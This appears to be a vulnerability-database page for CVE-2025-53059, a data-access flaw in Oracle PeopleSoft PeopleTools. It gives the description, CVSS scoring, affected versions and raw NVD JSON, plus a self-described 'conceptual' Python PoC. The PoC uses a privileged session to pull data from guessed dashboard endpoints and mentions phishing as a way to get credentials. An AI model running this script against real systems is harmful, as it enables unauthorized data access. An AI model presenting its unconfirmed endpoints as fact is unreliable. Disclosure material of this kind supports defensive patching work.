Security Vulnerability Report
中文
CVE-2025-53059 CVSS 4.9 MEDIUM

CVE-2025-53059

Published: 2025-10-21 20:20:46
Last Modified: 2025-10-23 16:04:00

Description

Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: OpenSearch Dashboards). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 4.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N).

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:* - VULNERABLE
Oracle PeopleSoft Enterprise PeopleTools 8.60
Oracle PeopleSoft Enterprise PeopleTools 8.61
Oracle PeopleSoft Enterprise PeopleTools 8.62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53059 - Oracle PeopleSoft PeopleTools OpenSearch Dashboards Unauthorized Data Access # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires valid high-privileged credentials import requests import json # Target configuration TARGET_URL = "https://target-peoplesoft-host:8443" DASHBOARDS_ENDPOINT = "/psc/site/cmd/OpenSearchDashboards" # Attacker must possess high-privileged credentials # (e.g., obtained via phishing, credential stuffing, or insider threat) SESSION_COOKIES = { "PS_TOKEN": "<high_privileged_session_token>", "PS_LOGINLIST": "<login_context>" } def exploit_unauthorized_data_access(target_url, cookies): """ Exploit unauthorized data access in OpenSearch Dashboards component. The vulnerability allows high-privileged users to access data beyond their normal authorization scope. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; OraclePeopleSoft/8.62)", "Accept": "application/json", "Content-Type": "application/json" } # Step 1: Access the OpenSearch Dashboards component session = requests.Session() session.cookies.update(cookies) # Step 2: Send crafted request to access restricted dashboards/data # The component fails to properly validate authorization scope exploit_endpoints = [ f"{target_url}/OpenSearchDashboards/api/dashboards/all", f"{target_url}/OpenSearchDashboards/api/index_patterns", f"{target_url}/OpenSearchDashboards/api/saved_objects/_find?type=index-pattern&per_page=100", f"{target_url}/OpenSearchDashboards/app/dashboards#/view/all" ] for endpoint in exploit_endpoints: try: response = session.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") # Extract sensitive data from response data = response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text print(f"[+] Data retrieved: {json.dumps(data, indent=2)[:500]}...") return data except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-53059 PoC - Oracle PeopleSoft OpenSearch Dashboards") print("[*] Requires high-privileged credentials to exploit") result = exploit_unauthorized_data_access(TARGET_URL, SESSION_COOKIES) if result: print("[+] Exploitation successful - sensitive data extracted") else: print("[-] Exploitation failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53059", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:45.663", "lastModified": "2025-10-23T16:04:00.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: OpenSearch Dashboards). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 4.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.60:*:*:*:*:*:*:*", "matchCriteriaId": "AF191D4F-3D54-4525-AAF5-B70D3FD2F818"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.61:*:*:*:*:*:*:*", "matchCriteriaId": "18F15FC6-947A-462A-8329-C52907799A7C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.62:*:*:*:*:*:*:*", "matchCriteriaId": "FF0E4EFC-096B-4861-8D55-D8DAA37A21E9"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}